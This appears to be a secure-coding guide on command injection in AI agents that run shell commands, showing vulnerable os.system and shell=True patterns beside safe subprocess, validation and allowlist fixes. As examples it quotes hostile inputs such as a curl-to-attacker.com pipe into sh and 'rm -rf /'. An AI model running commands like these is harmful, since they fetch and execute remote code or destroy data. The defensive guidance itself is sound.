Agent Runs Shell Command Without Sanitizing Input — Command Injection Risk
Symptom
- Agent runs
os.system(f"convert {user_filename} output.pdf")— user passesfile.jpg; curl attacker.com | sh - Shell interpolation executes injected commands with agent’s full permissions
- Log files show unexpected commands executed after agent processes certain inputs
- Agent with write access to filesystem or network can be leveraged as an attack vector
- Security audit flags unsanitized
subprocess.run(shell=True, ...)with user input
Root Cause
Using shell=True with user-controlled input passes the string to /bin/sh -c, which interprets shell metacharacters: ;, &&, ||, $(), backticks, |, >, <, &. Any of these in user input can inject additional commands. This is OWASP A03:2021 Injection.
Fix
Option 1: Never use shell=True with user input — pass args as list
import subprocess
# VULNERABLE: shell=True with user input
def convert_file_vulnerable(filename: str) -> None:
os.system(f"convert {filename} output.pdf") # BAD
subprocess.run(f"convert {filename} output.pdf", shell=True) # ALSO BAD
# SAFE: pass arguments as a list — no shell interpolation
def convert_file_safe(filename: str, output_path: str) -> subprocess.CompletedProcess:
result = subprocess.run(
["convert", filename, output_path], # Each arg is a separate element
capture_output=True,
text=True,
timeout=30,
# No shell=True — args list bypasses shell interpretation entirely
)
if result.returncode != 0:
raise RuntimeError(f"convert failed: {result.stderr}")
return result
# With list args, filename="; rm -rf /" is passed as a literal argument
# to convert, not to the shell. The injection attempt fails harmlessly.
Option 2: Validate and allowlist filenames before use in commands
import re
import os
from pathlib import Path
SAFE_FILENAME_PATTERN = re.compile(r'^[a-zA-Z0-9._\- ]+$')
ALLOWED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".pdf", ".txt", ".csv"}
def validate_filename(filename: str, base_dir: str = "/app/uploads") -> Path:
"""
Validate that a filename is safe for use in filesystem/shell operations.
Raises ValueError if the filename contains dangerous characters.
"""
# Reject shell metacharacters
if not SAFE_FILENAME_PATTERN.match(filename):
raise ValueError(
f"Invalid filename '{filename}': only alphanumeric, dots, dashes, "
f"underscores, and spaces are allowed"
)
# Reject path traversal
if ".." in filename or filename.startswith("/"):
raise ValueError(f"Path traversal attempt detected in filename: '{filename}'")
# Reject disallowed extensions
ext = Path(filename).suffix.lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError(f"File extension '{ext}' not allowed. Allowed: {ALLOWED_EXTENSIONS}")
# Resolve to absolute path and verify it stays within base_dir
safe_path = Path(base_dir).resolve() / filename
if not str(safe_path).startswith(str(Path(base_dir).resolve())):
raise ValueError(f"Path escapes base directory: {safe_path}")
return safe_path
def process_user_file(user_filename: str) -> dict:
path = validate_filename(user_filename) # Raises on bad input
result = subprocess.run(
["wc", "-l", str(path)],
capture_output=True, text=True, timeout=10
)
return {"lines": result.stdout.strip(), "file": str(path)}
Option 3: Use Python APIs instead of shell commands
import shutil
import os
from pathlib import Path
# AVOID: shell commands for file operations
def move_file_shell(src: str, dst: str):
os.system(f"mv {src} {dst}") # Injection risk
# PREFER: Python stdlib — no shell involvement
def move_file_safe(src: str, dst: str):
shutil.move(src, dst) # No shell, no injection possible
# Common replacements:
# os.system("cp src dst") → shutil.copy(src, dst)
# os.system("rm file") → os.unlink(file) or Path(file).unlink()
# os.system("mkdir -p dir") → Path(dir).mkdir(parents=True, exist_ok=True)
# os.system("grep pattern file") → Use Python re module
# os.system("ls dir") → Path(dir).iterdir()
# os.system("cat file") → Path(file).read_text()
# os.system("wc -l file") → len(Path(file).read_text().splitlines())
# os.system("find . -name X") → Path(".").rglob(X)
Option 4: Sandbox agent shell access with restricted subprocess wrapper
import subprocess
from typing import Sequence
ALLOWED_COMMANDS = {
"convert", "ffmpeg", "pdftotext", "pandoc",
"wc", "head", "tail", "sort", "uniq",
}
BLOCKED_ARGS_PATTERNS = [
r"[;&|`$]", # Shell metacharacters
r"\.\./", # Path traversal
r"^-", # Flags starting with - (allow only specific ones via allowlist)
]
def safe_subprocess(
args: Sequence[str],
timeout: int = 30,
cwd: str = "/app/sandbox",
) -> subprocess.CompletedProcess:
"""
Restricted subprocess wrapper for agent tool use.
Allowlists commands and validates arguments.
"""
if not args:
raise ValueError("Empty command")
command = args[0]
if command not in ALLOWED_COMMANDS:
raise PermissionError(
f"Command '{command}' not allowed. "
f"Allowed commands: {sorted(ALLOWED_COMMANDS)}"
)
# Check all arguments for dangerous patterns
for arg in args[1:]:
for pattern in BLOCKED_ARGS_PATTERNS:
if re.search(pattern, str(arg)):
raise ValueError(
f"Argument '{arg}' contains blocked pattern '{pattern}'"
)
return subprocess.run(
list(args),
capture_output=True,
text=True,
timeout=timeout,
cwd=cwd,
shell=False, # ALWAYS False in the wrapper
env={"PATH": "/usr/bin:/usr/local/bin"}, # Minimal environment
)
# Agent can only call allowed commands with safe arguments
result = safe_subprocess(["convert", "photo.jpg", "output.pdf"])
Option 5: Use shlex.quote for unavoidable shell=True cases
import shlex
import subprocess
# If shell=True is absolutely unavoidable (e.g., shell pipelines),
# use shlex.quote() to escape user input
def search_in_file_shell(filepath: str, pattern: str) -> str:
"""
Example of shlex.quote for unavoidable shell usage.
Prefer subprocess list args instead when possible.
"""
# shlex.quote wraps value in single quotes and escapes internal single quotes
safe_path = shlex.quote(filepath)
safe_pattern = shlex.quote(pattern)
# Now safe: shlex.quote("file; rm -rf /") → "'file; rm -rf /'"
cmd = f"grep -n {safe_pattern} {safe_path}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
return result.stdout
# Demonstration:
print(shlex.quote("normal_file.txt")) # → 'normal_file.txt'
print(shlex.quote("file; rm -rf /")) # → 'file; rm -rf /' (quoted, safe)
print(shlex.quote("$(curl attacker.com)")) # → '$(curl attacker.com)' (quoted, safe)
Option 6: System prompt injection prevention for agent-driven shell use
System prompt:
"Shell command rules:
1. Never construct shell commands by concatenating user-provided strings.
WRONG: f'grep {user_query} {user_file}'
RIGHT: subprocess.run(['grep', user_query, user_file], shell=False)
2. When running commands that process user-provided filenames or strings:
- Validate the value first (alphanumeric + limited punctuation only)
- Pass as a list argument to subprocess — never interpolate into shell strings
- Reject inputs containing: ; & | ` $ ( ) < > ' \" \\ ../
3. Prefer Python stdlib over shell commands:
- File operations: use pathlib, shutil, os
- Text processing: use re, str methods
- Only use subprocess when no Python alternative exists
4. Never use os.system() — always use subprocess.run() with shell=False"
Command Injection Risk Matrix
| Pattern | Risk | Safe Alternative |
|---|---|---|
os.system(f"cmd {user_input}") |
Critical | subprocess.run(["cmd", user_input]) |
subprocess.run(cmd, shell=True) with user input |
Critical | Pass as list, shell=False |
eval(user_code) |
Critical | Sandbox or refuse |
exec(user_code) |
Critical | Sandbox or refuse |
shlex.quote(user_input) + shell=True |
Low | Still prefer list args |
subprocess.run(["cmd", user_input]) |
None | Standard safe pattern |
Expected Token Savings
Security incident investigation + remediation: ~100,000+ tokens (plus reputational cost) Input validation + list args prevents injection entirely: 0 extra tokens
Environment
- Any agent that processes user-provided filenames, queries, or strings in shell commands
- Source: OWASP A03:2021 Injection; direct experience auditing agent security
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